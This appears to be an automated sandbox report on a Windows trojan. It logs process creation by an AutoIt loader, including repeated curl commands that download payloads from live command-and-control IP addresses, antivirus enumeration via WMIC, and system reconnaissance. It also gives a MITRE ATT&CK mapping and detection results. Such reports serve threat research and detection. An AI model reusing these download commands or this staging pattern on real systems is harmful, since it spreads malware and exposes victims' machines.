Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\qfmnd" "178.215.224.74/v10/ukyh.php?jspo=10&melq=1"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\jrdip" "178.215.224.252/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\nefne" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\zxjrd" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=UmV2ZW51ZURldmljZXMuZXhl"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe "C:\Users\user\AppData\Local\temp\RevenueDevices.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\fntgj" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\jyffr" "178.215.224.74/v10/ukyh.php?gi"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\wbqtj" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\systeminfo.exe systeminfo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\oqsxp" "178.215.224.74/v10/ukyh.php?jspo=7"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\fbswm" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\agadw" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\oqsxp" "178.215.224.74/v10/ukyh.php?jspo=7"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\qfmnd" "178.215.224.74/v10/ukyh.php?jspo=10&melq=1"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe azvw.exe -o xhwq.zip	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C systeminfo \| findstr /C:"OS Name" > C:\Users\user\AppData\Roaming\DolphinDumps\jvx 2>&1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\jrdip" "178.215.224.252/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\dxjyu" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\dhmio" "178.215.224.74/v10/ukyh.php?jspo=5"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\fprwf" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\nhrsa" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\rrmou" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=YXp2dy5leGU%3D"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\fofqx" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\zxfdn" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\gvhdi" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=eGh3cS56aXA%3D"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe azvw.exe -o xhwq.zip
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\agadw" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\mncym" "178.215.224.74/v10/ukyh.php?jspo=31"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\systeminfo.exe systeminfo
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /C:"OS Name"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\lyvbm" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\dxmcp" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\oqsxp" "178.215.224.74/v10/ukyh.php?jspo=7"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\hzizi" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\qfmnd" "178.215.224.74/v10/ukyh.php?jspo=10&melq=1"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\fbswm" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\nefne" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\zxjrd" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=UmV2ZW51ZURldmljZXMuZXhl"
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Seek Seek.cmd & Seek.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\fntgj" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\jyffr" "178.215.224.74/v10/ukyh.php?gi"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\wbqtj" "178.215.224.74/v10/ukyh.php?jspo=6"

Source: vqMMwqCFZQ.exe, 00000000.00000003.1702660616.00000000029B9000.00000004.00000020.00020000.00000000.sdmp, Ur.pif, 0000000A.00000000.1743125361.00000000006C6000.00000002.00000001.01000000.00000006.sdmp, RevenueDevices.exe, 00000056.00000003.3042089063.00000000028B7000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning

Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: GetLocaleInfoA,	50_2_0041713F
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: GetLocaleInfoA,IsValidCodePage,IsValidLocale,GetLocaleInfoA,GetLocaleInfoA,	50_2_00416AF5
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: GetLocaleInfoW,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoW,GetLocaleInfoW,WideCharToMultiByte,	50_2_0041BC50
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: EnumSystemLocalesA,	50_2_00417068
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: EnumSystemLocalesA,	50_2_00416CCA
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: GetLocaleInfoA,	50_2_00411CF0
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: GetLocaleInfoA,	50_2_0041709F
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: GetLocaleInfoA,	50_2_00411CB0
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,	50_2_00416D51
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: GetLocaleInfoW,WideCharToMultiByte,	50_2_0041BD13
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: GetLocaleInfoA,	50_2_004171C4
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: GetLocaleInfoA,	50_2_0041725C
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: EnumSystemLocalesA,	50_2_00416F55
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: GetLocaleInfoW,GetLocaleInfoA,GetLocaleInfoW,GetLocaleInfoA,GetLocaleInfoA,MultiByteToWideChar,	50_2_0041BB3D
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: GetLocaleInfoA,MultiByteToWideChar,	50_2_0041BBFA
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: GetLocaleInfoA,	50_2_00416FAB

Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe

Code function: 50_2_00413F9E GetLocalTime,GetSystemTime,GetTimeZoneInformation,

50_2_00413F9E

Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe

Code function: 50_2_004194BD GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,

50_2_004194BD

Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe

Code function: 0_2_00406805 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00406805

Source: C:\Windows\SysWOW64\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntiVirusProduct

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	241 Windows Management Instrumentation	1 Scripting	1 Access Token Manipulation	111 Masquerading	11 Input Capture	2 System Time Discovery	Remote Services	11 Input Capture	1 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Native API	1 DLL Side-Loading	12 Process Injection	13 Virtualization/Sandbox Evasion	LSASS Memory	241 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Access Token Manipulation	Security Account Manager	13 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Clipboard Data	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Process Injection	NTDS	3 Process Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	3 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	21 Obfuscated Files or Information	Cached Domain Credentials	46 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
vqMMwqCFZQ.exe	67%	ReversingLabs	Win32.Trojan.Generic

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\DolphinDumps\nircmdc.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\139918\Ur.pif	5%	ReversingLabs
C:\Users\user\AppData\Local\Temp\303482\Either.pif	5%	ReversingLabs
C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	58%	ReversingLabs	Win32.Trojan.Ramses
C:\Users\user\AppData\Roaming\DolphinDumps\7za.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\DolphinDumps\7za.exe	0%	ReversingLabs
C:\Users\user\AppData\Roaming\DolphinDumps\7zxa.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\DolphinDumps\PsInfo.exe	0%	ReversingLabs
C:\Users\user\AppData\Roaming\DolphinDumps\PsInfo64.exe	0%	ReversingLabs
C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	0%	ReversingLabs
C:\Users\user\AppData\Roaming\DolphinDumps\nircmdc.exe	5%	ReversingLabs
C:\Users\user\AppData\Roaming\DolphinDumps\zip.exe	0%	ReversingLabs

Source	Detection	Scanner	Label
http://178.215.224.74/v10/ukyh.php?jspo=6ecur32.dll	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?jspo=2021&jwvs=9A5605DE11447A0E2031624EE8FBDE	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?jspo=3002&melq=e3ad1d0b2449c169e66efe472513a377*6&jwvs=9A5605DE11447A0E2031624EE8FBDE	100%	Avira URL Cloud	malware
